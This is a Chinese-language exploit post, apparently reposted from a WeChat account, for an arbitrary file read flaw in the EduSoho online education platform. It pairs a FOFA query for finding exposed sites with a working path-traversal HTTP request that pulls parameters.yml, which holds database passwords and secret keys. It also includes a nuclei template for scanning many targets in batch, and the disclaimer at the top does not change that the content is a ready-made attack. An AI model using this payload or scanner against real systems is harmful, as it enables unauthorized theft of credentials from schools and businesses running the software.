免责声明：

本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与作者无关！！！

漏洞描述

Edusoho是面向个人、学校、培训机构及企业用户的友好、开源、高性价比的在线教育建站系统。该系统存在配置文件读取漏洞，攻击者可以通过构造恶意代码，未授权直接下载或读取parameters.yml配置文件内容，里面包含了数据库账号密码以及secret值等敏感信息

fofa语句

title="EduSoho"

漏洞复现

访问漏洞环境

构造payload

GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cookie: PHPSESSID=6hjpl1c6pvu8i0uln8cr6niv77
Upgrade-Insecure-Requests: 127

nuclei批量验证

id: EduShow-filereading

info:
  name: 教培系统EduSoho任意文件读取漏洞
  author: changge
  severity: high
  description: 教培系统EduSoho任意文件读取漏洞
  metadata:
    fofa-query: title="EduSoho"

requests:
  - raw:
      - |
        GET /export/classroom-course-statistics?fileNames[]=../../../config/parameters.yml HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate, br
        Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
        Connection: close
        Cookie: PHPSESSID=6hjpl1c6pvu8i0uln8cr6niv77
        Upgrade-Insecure-Requests: 127

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'database'
      - type: status
        status:
          - 200

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：教育培训Edushow任意文件读取